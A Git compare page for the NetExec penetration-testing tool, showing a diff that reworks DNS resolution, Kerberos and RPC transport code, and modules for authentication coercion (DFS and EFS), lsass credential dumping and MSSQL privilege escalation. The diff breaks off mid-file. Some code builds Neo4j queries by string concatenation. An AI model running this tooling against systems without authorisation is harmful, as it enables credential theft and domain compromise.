Compare commits

..
Author SHA1 Message Date
Marshall Hallenbeck 7e81f3c4bf tests: add test command files and test keys 2024-04-27 16:24:32 -04:00
61 changed files with 649 additions and 1060 deletions

No files matched your search

-18
View File
@@ -1,18 +0,0 @@
---
name: Feature request
about: Request a new feature or enhancement
title: ''
labels: ''
assignees: ''
---
**Please Describe The Problem To Be Solved**
(Replace This Text: Please present a concise description of the problem to be addressed by this feature request. Please be clear what parts of the problem are considered to be in-scope and out-of-scope.)
**(Optional): Suggest A Solution**
(Replace This Text: A concise description of your preferred solution. Things to address include:
* Details of the technical implementation
* Tradeoffs made in design decisions
* Caveats and considerations for the future
If there are multiple solutions, please present each one separately. Save comparisons for the very end.)
@@ -1,44 +0,0 @@
---
name: Pull request
about: Update code to fix a bug or add an enhancement/feature
title: ''
labels: ''
assignees: ''
---
## Description
Please include a summary of the change and which issue is fixed, or what the enhancement does.
Please also include relevant motivation and context.
List any dependencies that are required for this change.
## Type of change
Please delete options that are not relevant.
- [ ] Bug fix (non-breaking change which fixes an issue)
- [ ] New feature (non-breaking change which adds functionality)
- [ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
- [ ] This change requires a documentation update
- [ ] This requires a third party update (such as Impacket, Dploot, lsassy, etc)
## How Has This Been Tested?
Please describe the tests that you ran to verify your changes (e2e, single commands, etc)
Please also list any relevant details for your test configuration, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions
If you are using poetry, you can easily run tests via:
`poetry run python tests/e2e_tests.py -t $TARGET -u $USER -p $PASSWORD`
There are additional options like `--errors` to display ALL errors (some may not be failures), `--poetry` (output will include the poetry run prepended), `--line-num $START-$END $SINGLE` for only running a subset
## Screenshots (if appropriate):
Screenshots are always nice to have and can give a visual representation of the change.
If appropriate include before and after screenshot(s) to show which results are to be expected.
## Checklist:
- [ ] I have ran Ruff against my changes (via poetry: `poetry run python -m ruff check . --preview`, use `--fix` to automatically fix what it can)
- [ ] I have added or updated the tests/e2e_commands.txt file if necessary
- [ ] New and existing e2e tests pass locally with my changes
- [ ] My code follows the style guidelines of this project (should be covered by Ruff above)
- [ ] If reliant on third party dependencies, such as Impacket, dploot, lsassy, etc, I have linked the relevant PRs in those projects
- [ ] I have performed a self-review of my own code
- [ ] I have commented my code, particularly in hard-to-understand areas
- [ ] I have made corresponding changes to the documentation (PR here: https://github.com/Pennyw0rth/NetExec-Wiki)
+1 -4
View File
@@ -26,9 +26,6 @@ jobs:
python-version: ${{ matrix.python-version }}
cache: poetry
cache-dependency-path: poetry.lock
- name: Install with pipx
run: |
pipx install . --python python${{ matrix.python-version }}
- name: Install poetry
run: |
pipx install poetry --python python${{ matrix.python-version }}
@@ -48,4 +45,4 @@ jobs:
poetry run netexec mssql 127.0.0.1
poetry run netexec ssh 127.0.0.1
poetry run netexec ftp 127.0.0.1
poetry run netexec smb 127.0.0.1 -M veeam
poetry run netexec smb 127.0.0.1 -M veeam
-1
View File
@@ -1,6 +1,5 @@
data/nxc.db
hash_spider_default.sqlite3
hash_spider_testing.sqlite3
*.bak
*.log
.venv
-1
View File
@@ -42,7 +42,6 @@ a = Analysis(
'nxc.helpers.bash',
'nxc.helpers.bloodhound',
'nxc.helpers.msada_guids',
'nxc.helpers.ntlm_parser',
'paramiko',
'pypsrp.client',
'pywerview.cli.helpers',
+2 -8
View File
@@ -46,18 +46,12 @@ def gen_cli_args():
parser.add_argument("-t", type=int, dest="threads", default=256, help="set how many concurrent threads to use (default: 256)")
parser.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread (default: None)")
parser.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication (default: None)")
parser.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each connection (default: None)")
parser.add_argument("--no-progress", action="store_true", help="Not displaying progress bar during scan")
parser.add_argument("--verbose", action="store_true", help="enable verbose output")
parser.add_argument("--debug", action="store_true", help="enable debug level information")
parser.add_argument("--version", action="store_true", help="Display nxc version")
dns_parser = parser.add_argument_group("DNS")
dns_parser.add_argument("-6", dest="force_ipv6", action="store_true", help="Enable force IPv6")
dns_parser.add_argument("--dns-server", action="store", help="Specify DNS server (default: Use hosts file & System DNS)")
dns_parser.add_argument("--dns-tcp", action="store_true", help="Use TCP instead of UDP for DNS queries")
dns_parser.add_argument("--dns-timeout", action="store", type=int, default=3, help="DNS query timeout in seconds (default: %(default)s)")
# we do module arg parsing here so we can reference the module_list attribute below
module_parser = argparse.ArgumentParser(add_help=False)
mgroup = module_parser.add_mutually_exclusive_group()
@@ -84,7 +78,7 @@ def gen_cli_args():
std_parser.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
std_parser.add_argument("--log", metavar="LOG", help="Export result into a custom file")
std_parser.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
std_parser.add_argument("--kdcHost", metavar="KDCHOST", help="IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
std_parser.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
fail_group = std_parser.add_mutually_exclusive_group()
fail_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts")
+51 -119
View File
@@ -4,12 +4,10 @@ from threading import BoundedSemaphore
from functools import wraps
from time import sleep
from ipaddress import ip_address
from dns import resolver, rdatatype
from socket import AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME, getaddrinfo
from nxc.config import pwned_label
from nxc.helpers.logger import highlight
from nxc.loaders.moduleloader import ModuleLoader
from nxc.logger import nxc_logger, NXCAdapter
from nxc.context import Context
from nxc.protocols.ldap.laps import laps_search
@@ -23,63 +21,23 @@ global_failed_logins = 0
user_failed_logins = {}
def get_host_addr_info(target, force_ipv6, dns_server, dns_tcp, dns_timeout):
result = {
"host": "",
"is_ipv6": False,
"is_link_local_ipv6": False
}
def gethost_addrinfo(hostname):
is_ipv6 = False
is_link_local_ipv6 = False
address_info = {"AF_INET6": "", "AF_INET": ""}
try:
if ip_address(target).version == 4:
address_info["AF_INET"] = target
else:
address_info["AF_INET6"] = target
except Exception:
# If the target is not an IP address, we need to resolve it
if not (dns_server or dns_tcp):
for res in getaddrinfo(target, None, AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
af, _, _, canonname, sa = res
address_info[af.name] = sa[0]
if address_info["AF_INET6"] and ip_address(address_info["AF_INET6"]).is_link_local:
address_info["AF_INET6"] = canonname
result["is_link_local_ipv6"] = True
else:
dnsresolver = resolver.Resolver()
dnsresolver.timeout = dns_timeout
dnsresolver.lifetime = dns_timeout
if dns_server:
dnsresolver.nameservers = [dns_server]
try:
answers_ipv4 = dnsresolver.resolve(target, rdatatype.A, raise_on_no_answer=False, tcp=dns_tcp)
address_info["AF_INET"] = answers_ipv4[0].address
except Exception:
pass
try:
answers_ipv6 = dnsresolver.resolve(target, rdatatype.AAAA, raise_on_no_answer=False, tcp=dns_tcp)
address_info["AF_INET6"] = answers_ipv6[0].address
if address_info["AF_INET6"] and ip_address(address_info["AF_INET6"]).is_link_local:
result["is_link_local_ipv6"] = True
except Exception:
pass
if not (address_info["AF_INET"] or address_info["AF_INET6"]):
raise Exception(f"The DNS query name does not exist: {target}")
for res in getaddrinfo(hostname, None, AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
af, _, _, canonname, sa = res
address_info[af.name] = sa[0]
# IPv4 preferred
if address_info["AF_INET"] and not force_ipv6:
result["host"] = address_info["AF_INET"]
if address_info["AF_INET"]:
host = address_info["AF_INET"]
else:
result["is_ipv6"] = True
result["host"] = address_info["AF_INET6"]
is_ipv6 = True
host, is_link_local_ipv6 = (canonname, True) if ip_address(address_info["AF_INET6"]).is_link_local else (address_info["AF_INET6"], False)
return result
return host, is_ipv6, is_link_local_ipv6
def requires_admin(func):
@@ -91,7 +49,7 @@ def requires_admin(func):
return wraps(func)(_decorator)
def dcom_FirewallChecker(iInterface, remoteHost, timeout):
def dcom_FirewallChecker(iInterface, timeout):
stringBindings = iInterface.get_cinstance().get_string_bindings()
for strBinding in stringBindings:
if strBinding["wTowerId"] == 7:
@@ -111,7 +69,6 @@ def dcom_FirewallChecker(iInterface, remoteHost, timeout):
return True, None
try:
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpctransport.setRemoteHost(remoteHost)
rpctransport.set_connect_timeout(timeout)
rpctransport.connect()
rpctransport.disconnect()
@@ -123,67 +80,57 @@ def dcom_FirewallChecker(iInterface, remoteHost, timeout):
class connection:
def __init__(self, args, db, target):
def __init__(self, args, db, host):
self.domain = None
self.args = args
self.db = db
self.logger = nxc_logger
self.hostname = host
self.port = self.args.port
self.conn = None
# Authentication info
self.admin_privs = False
self.password = ""
self.username = ""
self.kerberos = bool(self.args.kerberos or self.args.use_kcache or self.args.aesKey)
self.aesKey = None if not self.args.aesKey else self.args.aesKey[0]
self.kdcHost = None if not self.args.kdcHost else self.args.kdcHost
self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
self.admin_privs = False
self.failed_logins = 0
# Network info
self.domain = None
self.host = None # IP address of the target. If kerberos this is the hostname
self.hostname = target # Target info supplied by the user, may be an IP address or a hostname
self.remoteName = target # hostname + domain, defaults to target if domain could not be resolved/not specified
self.kdcHost = self.args.kdcHost
self.port = self.args.port
self.local_ip = None
self.logger = nxc_logger
# DNS resolution
dns_result = self.resolver(target)
if dns_result:
self.host, self.is_ipv6, self.is_link_local_ipv6 = dns_result["host"], dns_result["is_ipv6"], dns_result["is_link_local_ipv6"]
else:
try:
self.host, self.is_ipv6, self.is_link_local_ipv6 = gethost_addrinfo(self.hostname)
if self.args.kerberos:
self.host = self.hostname
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
except Exception as e:
self.logger.info(f"Error resolving hostname {self.hostname}: {e}")
return
if self.args.kerberos:
self.host = self.hostname
if args.jitter:
jitter = args.jitter
if "-" in jitter:
start, end = jitter.split("-")
jitter = (int(start), int(end))
else:
jitter = (0, int(jitter))
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
value = random.choice(range(jitter[0], jitter[1]))
self.logger.debug(f"Doin' the jitterbug for {value} second(s)")
sleep(value)
try:
self.proto_flow()
except Exception as e:
if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}")
self.logger.error(f"Exception while calling proto_flow() on target {self.host}: {e}")
else:
self.logger.exception(f"Exception while calling proto_flow() on target {target}: {e}")
self.logger.exception(f"Exception while calling proto_flow() on target {self.host}: {e}")
finally:
self.logger.debug(f"Closing connection to: {target}")
self.logger.debug(f"Closing connection to: {host}")
with contextlib.suppress(Exception):
self.conn.close()
def resolver(self, target):
try:
return get_host_addr_info(
target=target,
force_ipv6=self.args.force_ipv6,
dns_server=self.args.dns_server,
dns_tcp=self.args.dns_tcp,
dns_timeout=self.args.dns_timeout
)
except Exception as e:
self.logger.info(f"Error resolving hostname {target}: {e}")
return None
@staticmethod
def proto_args(std_parser, module_parser):
return
@@ -203,7 +150,16 @@ class connection:
def check_if_admin(self):
return
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
def kerberos_login(
self,
domain,
username,
password="",
ntlm_hash="",
aesKey="",
kdcHost="",
useCache=False,
):
return
def plaintext_login(self, domain, username, password):
@@ -222,7 +178,6 @@ class connection:
self.enum_host_info()
if self.print_host_info() and (self.login() or (self.username == "" and self.password == "")):
if hasattr(self.args, "module") and self.args.module:
self.load_modules()
self.logger.debug("Calling modules")
self.call_modules()
else:
@@ -256,7 +211,7 @@ class connection:
It iterates over the modules specified in the command line arguments.
For each module, it loads the module and creates a context object, then calls functions based on the module's attributes.
"""
for module in self.modules:
for module in self.module:
self.logger.debug(f"Loading module {module.name} - {module}")
module_logger = NXCAdapter(
extra={
@@ -440,9 +395,7 @@ class connection:
return domain, username, owned, secret, cred_type, [None] * len(secret)
def try_credentials(self, domain, username, owned, secret, cred_type, data=None):
"""
Try to login using the specified credentials and protocol.
With --jitter an authentication throttle can be applied.
"""Try to login using the specified credentials and protocol.
Possible login methods are:
- plaintext (/kerberos)
@@ -455,18 +408,6 @@ class connection:
return False
if hasattr(self.args, "delegate") and self.args.delegate:
self.args.kerberos = True
if self.args.jitter:
jitter = self.args.jitter
if "-" in jitter:
start, end = jitter.split("-")
jitter = (int(start), int(end))
else:
jitter = (0, int(jitter))
value = jitter[0] if jitter[0] == jitter[1] else random.choice(range(jitter[0], jitter[1]))
self.logger.debug(f"Throttle authentications: sleeping {value} second(s)")
sleep(value)
with sem:
if cred_type == "plaintext":
if self.args.kerberos:
@@ -555,12 +496,3 @@ class connection:
def mark_pwned(self):
return highlight(f"({pwned_label})" if self.admin_privs else "")
def load_modules(self):
self.logger.info(f"Loading modules for target: {self.host}")
loader = ModuleLoader(self.args, self.db, self.logger)
self.modules = []
for module_path in self.module_paths:
module = loader.init_module(module_path)
self.modules.append(module)
+2
View File
@@ -52,8 +52,10 @@ def add_user_bh(user, domain, logger, config):
_add_with_domain(user_info, domain, tx, logger)
except AuthError:
logger.fail(f"Provided Neo4J credentials ({config.get('BloodHound', 'bh_user')}:{config.get('BloodHound', 'bh_pass')}) are not valid.")
exit()
except ServiceUnavailable:
logger.fail(f"Neo4J does not seem to be available on {uri}.")
exit()
except Exception as e:
logger.fail(f"Unexpected error with Neo4J: {e}")
finally:
+3 -6
View File
@@ -30,7 +30,7 @@ def setup_debug_logging():
root_logger.setLevel(logging.INFO)
elif debug_args.debug:
nxc_logger.logger.setLevel(logging.DEBUG)
root_logger.setLevel(logging.INFO)
root_logger.setLevel(logging.DEBUG)
else:
nxc_logger.logger.setLevel(logging.ERROR)
root_logger.setLevel(logging.ERROR)
@@ -53,15 +53,13 @@ class SmartDebugRichHandler(RichHandler):
def emit(self, record):
"""Overrides the emit method of the RichHandler class so we can set the proper pathname and lineno"""
# for some reason in RDP, the exc_text is None which leads to a KeyError in Python logging
record.exc_text = record.getMessage() if record.exc_text is None else record.exc_text
if hasattr(record, "caller_frame"):
frame_info = inspect.getframeinfo(record.caller_frame)
record.pathname = frame_info.filename
record.lineno = frame_info.lineno
super().emit(record)
def no_debug(func):
"""Stops logging non-debug messages when we are in debug mode
It creates a temporary logger and logs the message to the console and file
@@ -93,8 +91,7 @@ class NXCAdapter(logging.LoggerAdapter):
self.logger = logging.getLogger("nxc")
self.extra = extra
self.output_file = None
logging.getLogger("impacket").disabled = True
logging.getLogger("pypykatz").disabled = True
logging.getLogger("minidump").disabled = True
logging.getLogger("lsassy").disabled = True
+1 -1
View File
@@ -27,6 +27,7 @@ class NXCModule:
SERVER PKI Enrollment Server to enumerate templates for. Default is None, use CN name
BASE_DN The base domain name for the LDAP query
"""
self.context = context
self.regex = re.compile("(https?://.+)")
self.server = None
@@ -38,7 +39,6 @@ class NXCModule:
def on_login(self, context, connection):
"""On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names."""
self.context = context
if self.server is None:
search_filter = "(objectClass=pKIEnrollmentService)"
else:
+13 -11
View File
@@ -1,8 +1,7 @@
import ssl
import ldap3
import sys
from impacket.dcerpc.v5 import samr, epm, transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
import sys
class NXCModule:
"""
@@ -62,10 +61,11 @@ class NXCModule:
def on_login(self, context, connection):
self.__domain = connection.domain
self.__domainNetbios = connection.domain
self.__kdcHost = connection.kdcHost
self.__kdcHost = connection.hostname + "." + connection.domain
self.__target = self.__kdcHost
self.__username = connection.username
self.__password = connection.password
self.__host = connection.host
self.__targetIp = connection.host
self.__port = context.smb_server_port
self.__aesKey = context.aesKey
self.__hashes = context.hash
@@ -101,10 +101,15 @@ class NXCModule:
-------
None
"""
string_binding = epm.hept_map(self.__host, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
target = self.__targetIp or self.__target
string_binding = epm.hept_map(target, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
rpc_transport = transport.DCERPCTransportFactory(string_binding.replace(self.__host, self.__kdcHost))
rpc_transport.sethost(self.__host)
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.set_dport(self.__port)
if self.__targetIp is not None:
rpc_transport.setRemoteHost(self.__targetIp)
rpc_transport.setRemoteName(self.__target)
if hasattr(rpc_transport, "set_credentials"):
# This method exists only for selected protocol sequences.
@@ -113,13 +118,10 @@ class NXCModule:
rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
dce = rpc_transport.get_dce_rpc()
if self.__doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__kdcHost}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__target}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
serv_handle = samr_connect_response["ServerHandle"]
samr_enum_response = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle)
+2 -1
View File
@@ -221,6 +221,8 @@ class NXCModule:
Based on the work of @_nwodtuhs and @BlWasp_.
"""
self.context = context
context.log.debug(f"module_options: {module_options}")
if not module_options:
@@ -271,7 +273,6 @@ class NXCModule:
self.filename = None
def on_login(self, context, connection):
self.context = context
"""On a successful LDAP login we perform a search for the targets' SID, their Security Descriptors and the principal's SID if there is one specified"""
context.log.highlight("Be careful, this module cannot read the DACLS recursively.")
self.baseDN = connection.ldapConnection._baseDN
+9 -10
View File
@@ -2,7 +2,7 @@ from impacket import system_errors
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.ndr import NDRCALL
from impacket.dcerpc.v5.dtypes import ULONG, WSTR, DWORD
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.uuid import uuidtup_to_bin
from nxc.logger import nxc_logger
@@ -33,9 +33,9 @@ class NXCModule:
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=connection.host,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
doKerberos=connection.kerberos,
kdcHost=connection.kdcHost,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
)
@@ -95,9 +95,8 @@ class NetrDfsAddRootResponse(NDRCALL):
class TriggerAuth:
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, kdcHost):
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost):
rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\netdfs]" % target)
rpctransport.setRemoteHost(target)
if hasattr(rpctransport, "set_credentials"):
rpctransport.set_credentials(
username=username,
@@ -109,12 +108,11 @@ class TriggerAuth:
)
if doKerberos:
rpctransport.set_kerberos(doKerberos, kdcHost)
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
# if target:
rpctransport.setRemoteHost(target)
dce = rpctransport.get_dce_rpc()
if doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
nxc_logger.debug("[-] Connecting to {}".format(r"ncacn_np:%s[\PIPE\netdfs]") % target)
try:
dce.connect()
@@ -136,7 +134,8 @@ class TriggerAuth:
request["ServerName"] = f"{listener}\x00"
request["RootShare"] = "test\x00"
request["ApiFlags"] = 1
nxc_logger.debug(request.dump())
if self.args.verbose:
nxc_logger.debug(request.dump())
dce.request(request)
except Exception as e:
+6 -10
View File
@@ -5,7 +5,6 @@
from impacket.dcerpc.v5 import lsat, lsad, transport
from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, RPC_UNICODE_STRING
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
import pathlib
@@ -51,8 +50,7 @@ class NXCModule:
password=connection.password,
remote_name=target,
do_kerberos=connection.kerberos,
remoteHost=connection.host,
kdcHost=connection.kdcHost,
kdcHost=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
aesKey=connection.aesKey
@@ -122,7 +120,6 @@ class LsaLookupNames:
password="",
remote_name="",
do_kerberos=False,
remoteHost="",
kdcHost="",
lmhash="",
nthash="",
@@ -137,8 +134,7 @@ class LsaLookupNames:
self.lmhash = lmhash
self.nthash = nthash
self.aesKey = aesKey
self.kdcHost = kdcHost
self.remoteHost = remoteHost
self.dcHost = kdcHost
def connect(self, string_binding=None, iface_uuid=None):
"""Obtains a RPC Transport and a DCE interface according to the bindings and
@@ -151,7 +147,6 @@ class LsaLookupNames:
raise NotImplementedError("String binding must be defined")
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.setRemoteHost(self.remoteHost)
# Set timeout if defined
if self.timeout:
@@ -163,13 +158,14 @@ class LsaLookupNames:
rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey)
if self.doKerberos:
rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.kdcHost)
rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.dcHost)
# Gets the DCE RPC object
dce = rpc_transport.get_dce_rpc()
if self.doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
# Set the authentication level
if self.authn_level:
dce.set_auth_level(self.authn_level)
# Connect
dce.connect()
+3 -6
View File
@@ -3,7 +3,6 @@ from impacket.http import AUTH_NTLM
from impacket.dcerpc.v5.rpch import RPC_PROXY_INVALID_RPC_PORT_ERR, \
RPC_PROXY_CONN_A1_0X6BA_ERR, RPC_PROXY_CONN_A1_404_ERR, \
RPC_PROXY_RPC_OUT_DATA_404_ERR
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from impacket import uuid
import requests
@@ -66,10 +65,10 @@ class NXCModule:
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
rpctransport.set_auth_type(AUTH_NTLM)
else:
rpctransport.setRemoteHost(connection.host)
pass
try:
entries = self.__fetchList(connection.kerberos, rpctransport)
entries = self.__fetchList(rpctransport)
except Exception as e:
error_text = f"Protocol failed: {e}"
context.log.fail(error_text)
@@ -99,10 +98,8 @@ class NXCModule:
context.log.debug(e)
return
def __fetchList(self, doKerberos, rpctransport):
def __fetchList(self, rpctransport):
dce = rpctransport.get_dce_rpc()
if doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
resp = epm.hept_lookup(None, dce=dce)
dce.disconnect()
+3 -3
View File
@@ -12,9 +12,9 @@ class NXCModule:
opsec_safe = True # Does the module touch disk?
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
def __init__(self):
self.context = None
self.module_options = None
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
"""Required.
+8 -4
View File
@@ -70,7 +70,11 @@ def create_db(local_admins, dbconnection, cursor):
def process_creds(context, connection, credentials_data, dbconnection, cursor, driver):
domain = connection.conn.getServerDNSDomainName() if connection.args.local_auth else connection.domain
if connection.args.local_auth:
context.log.extra["host"] = connection.conn.getServerDNSDomainName()
else:
context.log.extra["host"] = connection.domain
context.log.extra["hostname"] = connection.host.upper()
for result in credentials_data:
username = result["username"].upper().split("@")[0]
nthash = result["nthash"]
@@ -81,7 +85,7 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
"UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
[password],
)
username = f"{username.upper()}@{domain.upper()}"
username = f"{username.upper()}@{context.log.extra['host'].upper()}"
dbconnection.commit()
session = driver.session()
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
@@ -95,7 +99,7 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
[nthash],
)
dbconnection.commit()
username = f"{username.upper()}@{domain.upper()}"
username = f"{username.upper()}@{context.log.extra['host'].upper()}"
session = driver.session()
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
path_to_da = session.run("MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p")
@@ -198,7 +202,7 @@ class NXCModule:
if file is None:
context.log.fail("Unable to dump lsass")
return False
credentials, tickets, masterkeys = Parser(host, file).parse()
credentials, tickets, masterkeys = Parser(file).parse()
file.close()
ImpacketFile.delete(session, file.get_file_path())
if credentials is None:
-1
View File
@@ -23,7 +23,6 @@ class NXCModule:
stringBinding = r"ncacn_ip_tcp:%s" % connection.host
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpctransport.setRemoteHost(connection.host)
portmap = rpctransport.get_dce_rpc()
portmap.set_auth_level(authLevel)
+4 -13
View File
@@ -156,16 +156,7 @@ class NXCModule:
stype=stype,
)
else:
kerberos_target = UniTarget(
connection.host,
88,
UniProto.CLIENT_TCP,
hostname=connection.remoteName,
dc_ip=connection.kdcHost,
domain=connection.domain,
proxies=None,
dns=None,
)
kerberos_target = UniTarget(connection.hostname + "." + connection.domain, 88, UniProto.CLIENT_TCP, proxies=None, dns=None, dc_ip=connection.domain, domain=connection.domain)
credential = KerberosCredential(
target=kerberos_target,
secret=secret,
@@ -174,7 +165,7 @@ class NXCModule:
stype=stype,
)
target = MSLDAPTarget(connection.host, 389, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
target = MSLDAPTarget(connection.host, 389, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
ldapIsProtected = asyncio.run(run_ldap(target, credential))
if ldapIsProtected is False:
context.log.highlight("LDAP Signing NOT Enforced!")
@@ -185,9 +176,9 @@ class NXCModule:
sys.exit()
if DoesLdapsCompleteHandshake(connection.host) is True:
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
ldapsChannelBindingAlwaysCheck = asyncio.run(run_ldaps_noEPA(target, credential))
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
ldapsChannelBindingWhenSupportedCheck = asyncio.run(run_ldaps_withEPA(target, credential))
if ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is True:
context.log.highlight('LDAPS Channel Binding is set to "When Supported"')
+8 -6
View File
@@ -42,12 +42,12 @@ class NXCModule:
- rollback (remove sysadmin privilege)
"""
self.action = None
self.context = context
if "ACTION" in module_options:
self.action = module_options["ACTION"]
def on_login(self, context, connection):
self.context = context
# get mssql connection
self.mssql_conn = connection.conn
# fetch the current user
@@ -441,11 +441,13 @@ class NXCModule:
:rtype: bool
"""
res = self.query_and_get_output(f"SELECT IS_SRVROLEMEMBER('sysadmin', '{username}')")
is_admin = res[0][""]
if is_admin:
self.admin_privs = True
return True
else:
try:
if int(res):
self.admin_privs = True
return True
else:
return False
except Exception:
return False
def revert_context(self, exec_as):
+1
View File
@@ -39,6 +39,7 @@ class NXCModule:
NANO_EXE_NAME Name of the nano executable (default: nano.exe)
DIR_RESULT Location where the dmp are stored (default: DIR_RESULT = NANO_PATH)
"""
self.context = context
self.remote_tmp_dir = "C:\\Windows\\Temp\\"
self.share = "C$"
self.tmp_share = self.remote_tmp_dir.split(":")[1]
+9 -7
View File
@@ -44,11 +44,11 @@ class NXCModule:
lmhash=connection.lmhash,
nthash=connection.nthash,
aesKey=connection.aesKey,
target=connection.host if not connection.kerberos else connection.remoteName,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
pipe=self.pipe,
do_kerberos=connection.kerberos,
kdcHost=connection.kdcHost,
remoteHost=connection.host,
dc_host=connection.kdcHost,
target_ip=connection.host,
context=context,
)
if efs_rpc_open_file_raw(dce, self.listener, context):
@@ -194,8 +194,8 @@ def coerce(
target,
pipe,
do_kerberos,
kdcHost,
remoteHost,
dc_host,
target_ip=None,
context=None,
):
binding_params = {
@@ -221,7 +221,6 @@ def coerce(
},
}
rpc_transport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
rpc_transport.setRemoteHost(remoteHost)
if hasattr(rpc_transport, "set_credentials"):
rpc_transport.set_credentials(
username=username,
@@ -232,12 +231,15 @@ def coerce(
aesKey=aesKey,
)
if target_ip:
rpc_transport.setRemoteHost(target_ip)
dce = rpc_transport.get_dce_rpc()
dce.set_auth_type(RPC_C_AUTHN_WINNT)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
if do_kerberos:
rpc_transport.set_kerberos(do_kerberos, kdcHost)
rpc_transport.set_kerberos(do_kerberos, kdcHost=dc_host)
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
context.log.info(f"[-] Connecting to {binding_params[pipe]['stringBinding']}")
+2 -3
View File
@@ -1,6 +1,6 @@
import sys
from impacket import system_errors
